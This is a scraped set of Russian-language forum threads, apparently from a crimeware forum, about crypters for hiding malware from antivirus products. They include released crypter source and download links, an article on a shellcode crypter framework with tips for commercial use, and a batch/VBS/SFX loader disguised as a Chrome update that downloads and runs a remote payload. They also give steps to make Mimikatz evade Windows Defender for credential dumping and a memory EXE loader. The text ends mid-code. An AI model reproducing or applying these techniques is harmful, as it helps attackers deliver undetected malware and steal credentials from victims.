
Конец близок. Попробуем расунпачить файл.

http://www.web-hack.ru/images/forum/virus/05.jpg

А затем …

http://www.web-hack.ru/images/forum/virus/06.jpg

Хы.. крута! :).. попробуйте любыми автораспаковщиками.. у вас ничего не выйдет.
Не стоит думать, что это 100% защита, всё это дело распаковывается руками за одну минуту.

Вот так вот просто можно обойти всех антивирусов.
Если следовать этому плану, возможно будет спрятать любой вирус. Хотя бывает иногда, ну прям палится и всё.. :). В этом случае придётся поискать сигну, отрезая секции например.
Дальше уже по обстоятельствам разбираться. Но не стоит пользоваться левыми прогами, для прятанья. Чистяки получаются у всех одинаковые, прога действует по определённому алгору, кот. можно подсмотреть ;) и никакой полиморфизм не поможет, если тока не придумывать что – то сложное (свой движок).. хотя врятли. А так руками каждый делает свой уникальный чистяк (если не будете вставлять одинаковый код, придумайте что – нить своё).
Никто не гарантирует, что всё получится с первого раза. Для этого нужно набивать руку. Таким образом, на один чистяк уходит порядка 5 мин. Ну максимум 10. Выбирать способ конечно вам, настаивать я не буду… Я лишь высказал своё мнение.
:punk: :punk: :yahoo:

Stalker шифр
ID: 6764df13b4103b69df371880
Thread ID: 53490
Created: 2021-07-01T09:27:02+0000
Last Post: 2021-07-01T09:27:02+0000
Author: XuMuK
Replies: 0 Views: 7K

Кто может помочь открыть архив ? Известны 3 части пароля LIS3 LGGV 8W59

Ручное криптование.
ID: 6764df13b4103b69df3718b7
Thread ID: 18733
Created: 2009-12-19T03:18:22+0000
Last Post: 2014-12-26T06:56:40+0000
Author: Chrek625
Replies: 8 Views: 7K

Собственно вопрос.
Как криптовать руками файлы?
Вернее что нужно знать чтобы научиться ручному крупту и какой нужен софт?

Заранее извиняюсь если вопрос не уместен или не в тот раздел.

В данный момент паблик криптор!
ID: 6764df13b4103b69df3718c2
Thread ID: 18649
Created: 2009-11-28T23:18:56+0000
Last Post: 2011-03-24T18:43:20+0000
Author: p.r.o
Replies: 15 Views: 7K

Название криптора CODESPOILERR.

В данный момент выложен для ознакомления, с согласием автора данного продукта.
Криптор статичный, к стабу 1кб, криптует на наш взгляд ВСЕ, если вы заметите какие либо неполадки или неработоспасобность на каких то системах или каких то exe, описывайте в данном топике либо в 558oo855.
Продукт будет развиваться бесплатно до поры до времени.
Ожидается также выпуск полиморф криптора и джойнера.

Криптор вы можете скачать [CodeHider]
Следите за обновлениями.
В момент высадки криптора 1/20 - Avast! Win32:Malware-gen

Уважаемые мемберы форума, не забываем писать ваше мнение, пожелание...

С уважением p.r.o

Нужен крипт связки
ID: 6764df13b4103b69df3718cb
Thread ID: 17715
Created: 2009-06-04T20:34:08+0000
Last Post: 2009-06-15T12:53:52+0000
Author: megaTT
Replies: 26 Views: 7K

Каспером палится выдача ПДФа.
ICQ227919129

Плохой отстук у криптованного файла
ID: 6764df13b4103b69df3718ad
Thread ID: 23580
Created: 2012-11-17T19:07:06+0000
Last Post: 2019-04-06T20:11:17+0000
Author: MasterBass
Replies: 8 Views: 6K

Добрый день.
Дописал криптор, но есть проблемы.
К сожалению, отстук не блещет. Хочется как-то повысить, но даже не понимаю, как :)
Точнее, в чем могут быть проблемы, и как его повысить?
Знаю, здесь сидят классифицированные люди, знающие толк в этом.
Заранее спасибо.

Вот например прикладываю криптованный Hello World.
Ссылка на криптованный файл: http://www.sendspace.com/file/arqs3z

Криптор на Delphi + исходник
ID: 6764df13b4103b69df3718c7
Thread ID: 17857
Created: 2009-06-29T03:28:34+0000
Last Post: 2010-10-13T17:51:10+0000
Author: Sunzer
Replies: 11 Views: 6K

Выкладываю криптор exe файлов вместе с исходниками. Криптор написан на Delphi.
Писал для новичков и тем кому интересно, для изучения. Автор я.

- Определение секций импорта, ресурсов, tls не по именам секций.
- Криптует файлы пожатые upx возможно и криптует другие паковщики, не проверял.
- Поддержка крипта Delphi приложений с tls. (Просто сохраняет таблицу)
- 275 Строчек кода

Криптор без GUI, статичный простой ксор на один байт.
Размер криптора: 25 кб.

http://www.sendspace.com/file/ygrb35 (24 кб)

Исходники моего криптера (SHANYACRYPTER)
ID: 6764df13b4103b69df37180d
Thread ID: 96642
Created: 2023-08-26T23:13:46+0000
Last Post: 2024-08-24T08:08:40+0000
Author: Kernel32dll
Replies: 36 Views: 6K

Приветствую всех!

Писал свой криптер exe файлов по туториалу одного блогера из Канады.
По сути, почти весь код - его, я лишь добавил пару полезных функций (клонер Assembly, переименовыватель методов, генерация и вставка джанка в уже готовый вирусняк)
Ну и естественно, дизайн мой.

Screenshot (2).pngScreenshot (4).png

А еще я переименовал все подозрительные имена в стабе под наиболее часто используемые имена переменных, добавил задержку с помощью NtDelayExecution и пересчет процессов после запуска, для немного-немало хоть какого то антидебага :)

Криптер я сам особо не юзал и не оказывал услуги по крипту, так что по сей день дефендер не палит крипт в статике (по крайней мере, на моей 11 винде, даже в рантайме - всё чисто)

Шифрование входного файла идет сначала с помощью XOR, а затем RC4, и все это чудо расшифровывается после запуска.

Криптер поддерживает только x32 exe-файлы

Нынешний детект на Kleenscan - 7/40 (https://kleenscan.com/scan_result/afb6ad2d909576e84a40645dd8668d5554baff0a9b95388e6dbebd9c0803c299)
(это кстати, учитывая то, что пару раз я сливал свой билд на ВТ)

Сливаю просто потому что :)

Исходный, необфусцированный код стаба приложу в архиве

Пароль от архива: Pbaireg.SebzOnfr64Fgevat("rUAmYzymPt==")
(ROT13)

(По какой-то причине не могу прикрепить ZIP к теме, так что вот ссылка на скачивание архива):

www.mediafire.com

[ SHANYACRYPTER

](https://www.mediafire.com/file/sycb8wgenehcf75/SHANYACRYPTER.zip/file)

MediaFire is a simple to use free service that lets you put all your photos, documents, music, and video in a single place so you can access them anywhere and share them everywhere.

www.mediafire.com

Отредактируйте значение в скобках в методе IAssemblyName(180000); в файле Stub.cs в папке Resources чтобы установить нужное количество миллисекунд, которые будут отведены на задержку перед запуском вашего криптованного файла.

Спасибо за внимание! Жду оценок

Как криптуется малварь без правки исходников?
ID: 6764df13b4103b69df37188f
Thread ID: 42440
Created: 2020-09-24T15:21:59+0000
Last Post: 2021-01-26T10:55:15+0000
Author: CryNet
Replies: 30 Views: 6K

Сабж. Интересует как криптовать вирусню вручную без правки исходного кода. Подскажите как это делается, как это вообще происходит, накидайте актуальных мануалов, а то в поиске по сайту одни предложения об услуге.

Современные крипторы в 2020 году - Какие они должны быть
ID: 6764df13b4103b69df371894
Thread ID: 37420
Created: 2020-05-17T10:50:14+0000
Last Post: 2020-10-03T06:56:22+0000
Author: X-Shar
Prefix: Статья
Replies: 7 Views: 6K

Всем привет, уважаемые жители форума.

Давно наблюдаю за форумом, как гость, еще с момента когда произошла «перезагрузка» форума на новый движек и домен.

Также конечно наблюдал и за дамагой.)))

Но что-то не решался зарегистрироваться, хотя было время хотел попробовать себя в битве за суперприз, когда были конкурсы за лучшую статью, но к сожалению со временем совсем беда, к тому-же веду еще свой проект, который отнимает часто много времени и сил.)

Скажу сразу, что я не одобряю малварь в комерс , но тем не менее, никого не осуждаю, каждый сам решает как ему зарабатывать, мне-же больше интересны малварные технологии и хакерство, именно как путь к саморазвитию и изучению технологий, причем не только что-то там закодить, а это еще и возможность прокачать скилы и в администрировании, и в изучаении операционных систем, в зависимости от направления, а направлений очень-очень много.)

Также хочется поблагодарить здешних посетителей, это merdock и Jeffs .

Без вас-бы этой статьи не было.

И еще сразу хочу обратить внимание и извинится за качество кода, который будет приложен к этой статье, данный материал больше направлен, как концепт к изучению и обсуждения.

Поэтому все, что я делаю на паблик, это часто весьма неотлаженный код, и работает он ровно так чтобы показать концепт, все остальное, если вы хотите написать в комерс, то можете доработать этот проект, можете написать свой, главное понимать суть, в этом смысл публикации, а не предоставить готовое решение для комерса.

И последнее, данная статья может не удовлетворять требованиям к размещению, я не буду считать символы чтобы уложится в 5К, также как и написанное здесь, также может не удовлетворять уровню, который хочет увидеть админ.

Статья написана не для денежного вознаграждения, поэтому даже если статья не удовлетворяет требованиям, просьба не удалять её, пусть будет.

Все-же я потратил время на написание, думаю это неповредит форуму, а может кому и покажется полезным.

Изначально, я хотел разместить это у себя, сделал проект, но в силу того-что у меня обратная связь пользователей практически никакая, думаю тут будет больше интересных обсуждений, чем у меня.)

Итак хватит воды, что ждет вас в этой статье (Оглавление):

1)Введение. Теория. Что есть крипторы в 2020 году и для чего они нужны.

2)Какие они, должны-быть эти крипторы.

3)Маленький демострационный проект и описание как и что делается.

4)Супер-мега блокбастер. Вирус против антивирусов. Итоги.

1)Введение. Теория. Что есть крипторы в 2020 году и для чего они нужны.

Крипторы, их можно также назвать протекторами, а также если говорить про реалии 2020 года, их также можно назвать обфускаторами, в зависимости от типа зверька, которого мы хотим скрыть, но обо всем по порядку.

В далекие наверно уже 2000 – 2010 года, крипторы делали для скрытия уже известного в базе вируса, смысл был такой, есть вирус, который детектится сигнатурно, для его скрытия делали следующее:

Писался загрузчик (stub) – Это минимальная программа, который из оверлея, специально созданной секции, или ресурсов загружала шифрованного зверька, делала антиэмуляцию и запускала зверька в памяти.

По сути криптор состоит из двух частей:

Это все работало, пока антивирусы не стали применять новые технологии, которые практически убили такого типа крипторы, а именно это детекты в облаке и детекты по поведению и детект после запуска.

Что-бы дальше было понятно, немного расскажу про виды детекта, а потом про виды крипторов уже в 2020 году и какие они должны быть.)

Итак виды детектов антивирусов:

1.Сигнатурный детект.

Тут всё и просто, и сложно. Сигнатура может-быть по определённой контрольной сумме, например антивирус считает контрольную сумму файла (CRC32, MD5 и т.д.), и в случае если такая сумма совпала в базе. То выдаётся детект.
Это называется «точечный детект» и используется часто в «облаках», что позволяет быстро выявить угрозу и нейтрализовать её.

Но а действительно удобно, та-же автоматика может задетектить угрозу по каким- то признакам и быстро добавить контрольную сумму в базу.
Но возникает проблема, что обойти это может даже трёхлетний ребёнок, добавив например один байт в конец файла и контрольная сумма уже будет другой.

Также, сигнатурный детект может-быть и на часть файла, например на какую-то функцию зверька.

2.Эмуляция кода.

По простому, антивирус исполняет ваш код в момент сканирования и если находит какие-то касяки, например «Непонравилась API» или обнаружена сигнатура вируса, или кусок такой сигнатуры, то будет детект.

Ещё пример (мы этот пример разберём ниже, чуть позже), вы можете написать протектор, который например из дата-секции будет брать шифрованный вирус, а далее расшифровывать его, например в какой-то буфер в оперативной памяти. Казалось-бы, вирус шифрованый и антивирус его не должен детектить.

А-нет, эмулятор расшифрует код и задетектит вирус. В общем-то для этого и нужен эмулятор кода.

3.Детект при запуске.

Всё-что выше, мы разбирали так-называемый «статический детект», т.е. детект, который выдаётся до запуска файла, такой детект будет если вы просканируете файл сканером, или зальёте например на вирустотал и т.д.

Но нужно ещё сказать и про динамический детект. Это детект при запуске файла. Как он формируется ?

У всех антивирусов по разному, например у касперского есть критерии по которому может-быть детект при запуске, например часть таких критериев: Создаёт-ли вирус процессы и как делает это, добавляется-ли вирус в автозапуск, как дербанит сеть вирус и т.д.

Ну тут понятно, что даже при обходе сигнатурного детекта и эмулятора, если вирус по тупому крадёт пароли, создаёт скрытые процессы, всё это пересылает по сети, делает хук на клавиатуру, да ещё и добавляет себя в автозагрузку, то думаю детект не заставит себя ждать !

К тому-же, у многих антивирусов, у таких как нод и др. веб, есть так называемый детект в памяти, т.е. антивирус расшифровывает код до запуска процесса и проверяет его. Да это проблема, т.к. перед запуском нового процесса код должен-быть расшифрован.

4.Еще раз про облако и «искусственный интелект».

Ошибочно думать, что облако – Это только детект по контрольной сумме. Нет это достаточно сложная система, основанная на ИИ.

Например антивирус может отсылать полностью зверька в «виртуальноую лабораторию», где произойдет запуск зверька и ИИ определит вирус-ли это или нет, по разным критериям, будь это репутация, где распространяется зверек и т.д.

Также например, как у касперского может происходить и автоматическое помещение программы в определенную группу, например «программа для удаленного управления» и т.д., также автоматически происходит и установка «репутации программы».

**Поэтому у современных АВ, аналитики выполняют либо анализ по запросу, либо если у ИИ возникает какие-то спорные моменты, то зверек перейдет аналитику уже.)))

2)Какие они, должны-быть эти крипторы.**

Фу-фу, наконец-то перейдем к самим крипторам уже.

Итак вначале виды крипторов в 2020 году:

1.Натив крипторы:

Ну это крипторы, которые должны криптовать зверьков, которые написаны на нативных языках, таких-как С/С++, ассемблер, Delphi и т.д.

Также крипторы могут криптовать разные разрядности зверьков, например есть крипторы для x86, а есть x64.

Мы рассмотрим на практике именно такой вид криптора, для других крипторов, должны писаться отдельные статьи.

2.Крипторы .NET и C#:

Как видно из названия, эти крипторы криптуют только .NET и C#.

Хорошо будет, если после этой статьи появятся статьи по крипторам C# и .NET.

На самом деле на том-же C#, можно писать хорошую малварь, ничего против шарпов не имею, но я низкоуровневый программист, поэтому мало что скажу про шарпы и дот нет, максимум что там писал, это гуй…)

Может-быть в будущем в зависимости от задач, ближе познакомлюсь с шарпами, но пока-что таких задач к сожалению нет.:(

3.Крипторы скриптовых языков:

Это по сути обфускаторы, например попадались на глаза обфускаторы батников, java и т.д.

Интересно, что в таких крипторах также используют антиэмуляцию, в виде задержек sleep и т.д.)))

Много про эти виды крипторов тоже писать не буду, т.к. это дело отдельной статьи.

Итак, 2020 год, какие должны-быть крипторы, чтобы выжить:

Современные антивирусы, даже уровня виндового дефендера, имеют не хилые технологии, что-бы свести на нет распространение практически любого вируса.

Но тем не менее, если использовать крипторы правильно, это максимально усложнит детект автоматики, а соответственно увеличит время жизни зверька и уменьшит время чистки следующего билда зверька.

Итак предназначение криптора в 2020 году:

Если раньше крипторы использовались для обхода детекта, то в 2020 году, криптор нужно использовать уже для усложнения детектов автоматики, смысл сделать так что-бы автоматика не добралась до самого зверька, при этом под детект попадала минимальная часть криптора, для автоматизации и ускорения чистки самого криптора.

Как-же это сделать ?

Есть концепт использования шелл-кодов и обфускаторов кодов.

merdock – Про это обращал внимание, на экспе, когда-то давно, но что-то развитие тема не получила, хотя многие зверьки ипользуют это, про это ниже.

Jeffs – Создал здесь тему про обфускаторы си-кода, про обфускацию ниже.

**Итак суть самого концепта:

Основная идея** - Это шифровка и скрытие основных частей криптора, например можно пошифровать модуль криптора, который отвечает за запуск зверька в памяти, пошифровать модуль антиэмуляции и т.д.

Эти шифрованные части можно хранить в ресурсах, дата-секции, или вообще загружать по сети.)))

Тем самым стаб будет минимален, а все остальное - это пошифрованные шелл- коды...

Шифрованные части можно прятать например в картинку и размещать на каком-то ресурсе, либо на ломанном сайте.

Пошифрованные части криптора, ну очень сложно задетектить автоматикой, также добраться непосредственно до вашего зверька автоматика не сможет.

В итоге детект будет на часть криптора, которая отвечает за запуск уже шелл- кода, а это как праило 15-30 строк Си-кода, тут уже выходит на первый план обфускаторы и генераторы мусорного Си-кода.

Если все это автоматизировать, билды зверьков будут жить долго и чистка будет происходить достаточно быстро.)))

3)Маленький демострационный проект и описание как и что делается.

Для демонстрации этого концепта, недавно написал демонстрационный проект:

Итак, что получилось:

Решение состоит из двух проектов:

1.Первый проект LoadPeToShell - Переводит в шифрованный шелл-код модуль LoadPe, по сути создаёт заголовочный файл "loadpe.h", с шифрованным шелл- кодом.

LoadPe - Это основной модуль криптора, по сути там все.)

Антиэмуляция происходит путем вызова функции close по её хешу, то-что должна возвратить функция, это код ошибки ESTALE, на основе этого формируется ключ для расшифровки и расшифровывается пейлоад и запускается...

Немного каснусь тему антиэмуляции , вообще по хорошему также написать отдельную статью про это дело.)

Итак антиэмуляция бывает, как интелектуальная с точки срения реализации, так и дерьмовая.

Дерьмовая антиэмулция по моему мнению, это то-что использует атаки на ресурсы эмулятора, да у эмулятора антивируса ограничины ресурсы и если сделать задержку например 2 секунды, или делать какие-то ресурсоемкие расчёты, для получения ключа расшифровки, то скорей-всего эмулятор антивируса пропустит эту задержку и если использовать этот прием, то будет фуд.)

Но данный прием дерьмовый по моему мнению, т.к. для некоторых зверьков критична задержка, например для запуска кейлоггера и т.д.

Да и интеллектуального тут ничего нет, если говорить про малварь, как искусство, какое-то извините говно…)

Более интелектуальный подход и самый простой, как в этом примере проверять например коды ошибок API, и на основе их уже что-то делать.

Есть и другие методы, но обсуждение антиэмуляции, лучше вынести в отдельную статью.)))

Также в LoadPeToShell шифруется пейлоад и создается заголовочный файл "payload.h".

Алгоритм шифрования RC4.

2.Второй проект. Stub – Это уже сам проект криптора.

Где происходит расшифровка шелл-кода из дата секции и запуск этого шелл-кода, пример:

- Расшифровка шелл-кода:

Code:Copy to clipboard

decRC4(key_to_dec, 4, loadpe, sizeof(loadpe)-1);

- Запуск шелл-кода:

Code:Copy to clipboard

uint32_t ret = (*(uint32_t(*)(PVOID, DWORD))v_code)(payload, size_peyload);

В сам шелл-код нужно передать буфер шифрованного зверька и размер.

Антиэмуляция, расшифровка и запуск, уже в шелл-коде.)))

Как это сделано, можно глянуть в исходнике, который выложен на гитхабе: https://github.com/XShar/shell_crypor_framework

Как пользоваться:

1)В Release положить файл, который нужно закриптовать с именем PayloadExe.exe.

2)Запустить файл "LoadPeToShell.exe".

3)Собрать проект в Visual Studio C++.

Получится файл в Release "stub.exe".

**Это и есть ваш криптованный зверек.

Доработка, кто хочет использовать в комерсе:**

1)Нужно создать генератор мусора для стаба и обфускатор си-кода. Можно использовать готовые движки, ну собственно если автоматизировать этот процесс, чистка будет весьма быстрой.

2)В стабе для скрытия VirtualAlloc я использую проект lazy_importer, рекомендую отказаться от него и вообще нужно отрефакторить код, писалось на скорую руку, опять-же качество кода желает лучшего, но для демонстрации концепта подойдет.

3)Сам шелл-код, как и криптованного зверька можно прятать в картинках на сайта, или в любом другом месте, тут просто опять-же для демонстрации концепта, в дата секции.

4)Супер-мега блокбастер. Вирус против антивирусов. Итоги.

Для демонстрации, что концепт работает, на момент написание данной статьи, прилагаю скан на dyncheck.com:

1)На безобидный файл, статик детект:
1589711669233.png

2)Динамический детект, на безобидный файл:

1589711692152.png

Ссылка на скан:https://dyncheck.com/scan/id/fba0cc6c263f19b1998f8bee847c9c26

3)Динамический детект на драккомет, статик детект также фуд.)))

1589711715914.png

Ссылка на скан https://dyncheck.com/scan/id/08b78746eb632b6311f7ae25defa308f

То-что с восклицательным знаком, это битый детект, виндовый дефендер не детектит вроде…)

Надеюсь данная статья будет полезна.

Удаче всем и по возможности занимайтесь полезной разработкой, а не малварью в комерс.)))

Сорцы разных крипторов ( Для новичков )
ID: 6764df13b4103b69df3718a0
Thread ID: 26350
Created: 2018-10-22T11:10:20+0000
Last Post: 2020-05-03T18:17:01+0000
Author: rtkm
Replies: 6 Views: 6K

Сорцы старые, но для изучение будет интересно.
Скачать

Пароль: xss.is

Malzilla: Malware hunting tool
ID: 6764df13b4103b69df3718bd
Thread ID: 15983
Created: 2008-10-18T06:39:18+0000
Last Post: 2013-02-12T11:13:10+0000
Author: wutang
Replies: 3 Views: 6K

Malzilla: Malware hunting tool

Тулза декодирования JS кода.
Полезна при иследованиях криптованых фреймов и сплоитов... ;)

Tutorial

:zns5: Скачать|Download

Крипт зевса
ID: 6764df13b4103b69df3718c0
Thread ID: 20511
Created: 2010-10-26T19:27:37+0000
Last Post: 2011-05-11T16:05:02+0000
Author: PuzKarapuz
Replies: 10 Views: 5K

Надо передать прогеру ТЗ для крипта зевса. А именно как убрать чтобы не показывало что бот не криптованный? И как седлать чтобы он работал после крипта, то есть как я понял выплёвывал екзе и удалялся куда попал.

Вылетает Run-time error "9" после крипта
ID: 6764df13b4103b69df3718c8
Thread ID: 18743
Created: 2009-12-22T01:51:44+0000
Last Post: 2010-02-09T16:11:34+0000
Author: goodal
Replies: 13 Views: 5K

перепробовал кучу крипторов, тесты проводил как на calc.exe так и на билдах ботов. При запуске криптованого файла вылетает

Run-time error "9": Subscript out of range

Делаем 0/1-26 лоадер за 10 минут
ID: 6764df13b4103b69df371848
Thread ID: 71000
Created: 2022-08-02T06:12:49+0000
Last Post: 2023-02-19T16:20:09+0000
Author: сатоши
Prefix: Статья
Replies: 32 Views: 5K

Показания antiscan.me
1659418866262.png

AntiScan.Me | Rovilov.exe | 1/26

Scan your file online with multiple different antiviruses without distributing the results of your scan.

antiscan.me antiscan.me

1. Нужен FTP сервер и на него нужно загрузить файл что будет подгружать лоадер.

2. Создаём тхт файл называем "ftp" в него прописываем:

Code:Copy to clipboard

ip сервера/хостинга, или его ссылка. [ Пример: 222.222.2.2 или rovilov.com ]
Логин от FTP. [Пример: vasapro777]
пароль [например: hyipizda]
lcd C:\Program Files [Путь скачивания файла]
binary
get Rovilov.exe [сюда пишем имя файла и расширение]
quit

Пример того что получим:

Code:Copy to clipboard

rovilov.com
777777
hyipizda
lcd C:\Program Files
binary
get rovilov.exe
quit

3. Создаём файл vbs.vbs и прописываем в него:

Code:Copy to clipboard

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "(fud).cmd" & Chr(34), 0
Set WshShell = Nothing

4. Создаём файл под названием 112.cmd и пишем в него:

Code:Copy to clipboard

Echo OFF

ftp -s:ftp.txt

Start rovilov.exe [тут пишите имя загружаемого файла]

Сделав все выше сказанные шаги получим:
1659420238786.png
Теперь чтобы это всё работало нужно создать sfx архив с методом сжатия - Максимальный, а так же добавляем комментарий:

Code:Copy to clipboard

ath=C:\Program Files
Setup=vbs.vbs
Silent=1
Overwrite=1
Update=U
Title:-Chrome [Пишем под что маскируем файл]
Text
{
Updating...
}

После создания архива получим лоадер весом 300кб +
1659420582265.png
Пробовал с DC rat стучит хорошо

Обсуждение крипта на .NET
ID: 6764df13b4103b69df37186d
Thread ID: 59156
Created: 2021-11-21T21:19:07+0000
Last Post: 2021-12-09T17:33:29+0000
Author: blackteam007
Replies: 152 Views: 5K

извиняюсь что влажу но с чего ты взял что он должен тебе 100$ ? кодеров если он конечно кодер какие бы они небыли тоже уважать нужно так как они тоже тратят свое время, я ни в коей степени данного криптера не защищаю просто поделился чисто своим мнением. Да я понимаю он пиздабол то что говорит что деф обходит а по факту не обходит)) Манибек он должен сделать так как условие не было выполнено! Но это решать только админу.
Мало кто из кодеров сможет обойти деф стабовым криптом. ( потому что этот метод херня ) да и не стоить ждать чуда крипта за 10$ еще и чтоб деф обходил. Максимум за такую сумму можно только скантайм убрать а в рантайме будет ёлка, самое важное в услуге крипт малвари это сделать чистый рантайм. Большинство точнее почти все криптеры забивают на это потому что это по сути сложно и для них это геморно.

Mimikatz. Байпас Windows Defender
ID: 6764df13b4103b69df3718ac
Thread ID: 28881
Created: 2019-04-19T09:31:24+0000
Last Post: 2019-05-24T15:03:15+0000
Author: askharaj
Replies: 15 Views: 5K

Привет народ!

Надеюсь, что не ошибся веткой, но лучше места не нашел. По мотивам www.youtube.com/watch?v=9pwMCHlNma4

В видео описан сам подход и он работает. Дефендер же тупо перестает видеть мимикатца и если дамп на тачке не отключен, то работает все на ура. На данный момент, вот какие изменения необходимо произвести в сорсах:

  1. Заменить все упоминания mimikatz. Замену делать по всему проекту с !! учетом регистра:
    Примерно 100 замен: mimikatz
    Примерно 200 замен: MIMIKATZ

  2. Т.к. заодно будут изменены ссылки на файлы из проекта - не забываем их переименовать.

  3. Отредактировать *.rc файл, убрать все ненужное или заменить тексты на свои

  4. Произвести замены:
    это KiwiAndRegistryTools на это KIwiANdregiStrYToOls 2 раза
    это wdigest.dll на это WdigESt.DlL 2 раза

  5. Теперь вручную! Находим строку
    {kuhl_m_ts_multirdp, L"multirdp ", L"[experimental] patch Terminal Server service to allow multiples users"},
    и заменям "multirdp " на "muLtirDp ". Получается такая строка
    {kuhl_m_ts_multirdp, L"muLtirDp ", L"[experimental] patch Terminal Server service to allow multiples users"},

{kuhl_m_sekurlsa_all, L"logonPasswords ", L"Lists all available providers credentials"},
и заменяем "logonPasswords" на "logOnPasSwOrdS ". Получается такая строка
{kuhl_m_sekurlsa_all, L"logOnPasSwOrdS ", L"Lists all available providers credentials"},

{kuhl_m_sekurlsa_credman, L"credman ", L"List Credentials Manager"},
и заменяем "credman" на "cRedmAn ". Получается такая строка
{kuhl_m_sekurlsa_credman, L"cRedmAn ", L"List Credentials Manager"},
и в дополнение на всякий случай замените
это " credman" на " cREdmAn". Поиск и замена именно с кавычками!!! А то он функции похерит!

  1. Далее часть посложнее. В видео есть описание процесса. Речь идет о вызовах функций из netapi32.dll. При вызове I_NetServerTrustPasswordsGet по имени название функции палится жестко и дефендер ловит мимикатца. Для обхода мы можем использовать вместо имени вызрв по адресу. Для WINDOWS SERVER 2016 & WINDOWS 10 эти адреса такие:
    dumpbin /exports netapi32.dll | grep "I_NetServerReqChallenge|I_NetServerAuthenticate2|I_NetServerTrustPasswordsGet"
    59 3A I_NetServerAuthenticate2 (forwarded to LOGONCLI.I_NetServerAuthenticate2)
    65 40 I_NetServerReqChallenge (forwarded to LOGONCLI.I_NetServerReqChallenge)
    68 43 I_NetServerTrustPasswordsGet (forwarded to LOGONCLI.I_NetServerTrustPasswordsGet)

Создаем файл netapi32_ws16.def с содержимым:
I_NetServerReqChallenge @ 65
I_NetServerAuthenticate2 @ 59
I_NetServerTrustPasswordsGet @ 68

Собираем либу:
lib /DEF:netapi32_ws16.def /OUT:netapi32_ws16.dll
И заменяем ею ту, что идет в комплекте с мимкатцом (netapi32.min.lib)

Ребилдим проект и готово! Мимикатц байпассит дефендера.

Загрузчик ЕХЕ
ID: 6764df13b4103b69df3718b0
Thread ID: 25088
Created: 2014-03-21T10:43:03+0000
Last Post: 2015-07-26T11:30:07+0000
Author: UMF
Replies: 4 Views: 5K

Здрасте. сабж вытащил из некого закриптованного сэмпла, найденного в сети :) может кому нибудь пригодится, грузит екзе из памяти, так же есть какие то признаки обработки TLS.

Пример использования:

Code:Copy to clipboard

 proc EP
      push PAGE_EXECUTE_READWRITE
      push MEM_COMMIT+MEM_RESERVE
      push 1135
      push 0
      call [VirtualAlloc]
      push 1135
      push ldr; собсно сабж
      push eax
      call [memcpy]
      push size_of_file; размер екзе
      push file_data; массив с екзе
      call eax
 endp

Spoiler: 20

http://www.sendspace.com/file/9k8ils

P.S - пытался выложить сабж на соседнем форуме fu*kav.ru, но там никто ничего не понял и закидали гамном :D быть может здесь это кому нибудь пригодится :)

[NODE JS] Мутатор LoadPE шеллкода
ID: 6764df13b4103b69df3718b3
Thread ID: 25572
Created: 2014-12-30T21:24:53+0000
Last Post: 2015-01-06T16:42:03+0000
Author: 0xDADA11C7
Replies: 11 Views: 5K

Когда-то давно я игрался с кодогенерацией и сделал этот мутатор loadPE шеллкодов. Я понимаю, что создаваемый код убог, но сама идея интересна. LLVM IR для бедных :) Каждый раз мутатор выдаёт другой код. Не воспринимайте серьёзно, потому что код смишнявый :)

Изначально написано для украинского форума программистов

platform.js файл

Code:Copy to clipboard

var pad = require('./modules/node-pad/lib/pad.js');
var fs = require('fs');
var _ = require('./modules/underscore/underscore.js');
const DONT_ADD_TO_LIST = 1; USE_ONLY_GENERAL_REGS = 2; LOCK_REG = 4; LOCK_VAR = 4;

exports.DONT_ADD_TO_LIST = DONT_ADD_TO_LIST; exports.USE_ONLY_GENERAL_REGS = USE_ONLY_GENERAL_REGS; exports.LOCK_REG = LOCK_REG; 
exports.LOCK_VAR = LOCK_VAR;

const REG_EAX = 0, REG_EBX = 1, REG_ECX = 2, REG_EDX = 3, REG_ESI = 4, REG_EDI = 5, REG_EBP = 6;
exports.REG_EAX = REG_EAX; exports.REG_EBX = REG_EBX; exports.REG_ECX = REG_ECX; exports.REG_EDX = REG_EDX; exports.REG_ESI = REG_ESI;
exports.REG_EDI = REG_EDI; exports.REG_EBP = REG_EBP;

const REG_DWORD = 0, REG_LOWORD = 1, REG_HIBYTE = 2, REG_LOBYTE = 3;
exports.REG_DWORD = REG_DWORD; exports.REG_LOWORD = REG_LOWORD; exports.REG_HIBYTE = REG_HIBYTE; exports.REG_LOBYTE = REG_LOBYTE; 

const REG_R32 = 0, REG_R16 = REG_LOWORD<<3, REG_R8H = REG_HIBYTE<<3, REG_R8L = REG_LOBYTE<<3;
exports.REG_R32 = REG_R32; exports.REG_R16 = REG_R16; exports.REG_R8H = REG_R8H; exports.REG_R8L = REG_R8L;

const REG_AX=REG_EAX+(REG_LOWORD<<3), REG_BX=REG_EBX+(REG_LOWORD<<3), REG_CX=REG_ECX+(REG_LOWORD<<3), REG_DX=REG_EDX+(REG_LOWORD<<3),
      REG_AL=REG_EAX+(REG_LOBYTE<<3), REG_BL=REG_EBX+(REG_LOBYTE<<3), REG_CL=REG_ECX+(REG_LOBYTE<<3), REG_DL=REG_EDX+(REG_LOBYTE<<3),
      REG_AH=REG_EAX+(REG_HIBYTE<<3), REG_BH=REG_EBX+(REG_HIBYTE<<3), REG_CH=REG_ECX+(REG_HIBYTE<<3), REG_DH=REG_EDX+(REG_HIBYTE<<3),
      REG_SI=REG_ESI+(REG_LOWORD<<3), REG_DI=REG_EDI+(REG_LOWORD<<3);
exports.REG_AX = REG_AX; exports.REG_BX = REG_BX; exports.REG_CX = REG_CX; exports.REG_DX = REG_DX;
exports.REG_AL = REG_AL; exports.REG_BL = REG_BL; exports.REG_CL = REG_CL; exports.REG_DL = REG_DL;
exports.REG_AH = REG_AH; exports.REG_BH = REG_BH; exports.REG_CH = REG_CH; exports.REG_DH = REG_DH;
exports.REG_SI = REG_SI; exports.REG_AX = REG_DI;

const MEM32 = 0, MEM16 = 1, MEM8 = 2; 
exports.MEM32 = MEM32; exports.MEM16 = MEM16; exports.MEM8 = MEM8;

function unchainMem(s) {
    var r=""; 
    if (_.isString(s) && (r = s.match(/\[([a-zA-Z\.]\w*)\]/)) !== null) return(r[1]); 
    return(r);
}

function unchainConst(s){
    var r = ""; 
    if (_.isString(s) && (r = s.match(/0x[0-9a-fA-F]*/)) !== null) return(r[0]); 
    return(r);
}

function BytesToDword (B1, B2, B3, B4) {
    var iResult = B1 + (B2<<8)+(B3<<16) + (B4<<24);
    return(iResult>>>0);
};

exports.BytesToDword = BytesToDword;

Number.prototype.toHex = function() {
    return('0x'+this.toString(16)); };

function arrRndValue (arr) {                                                                           
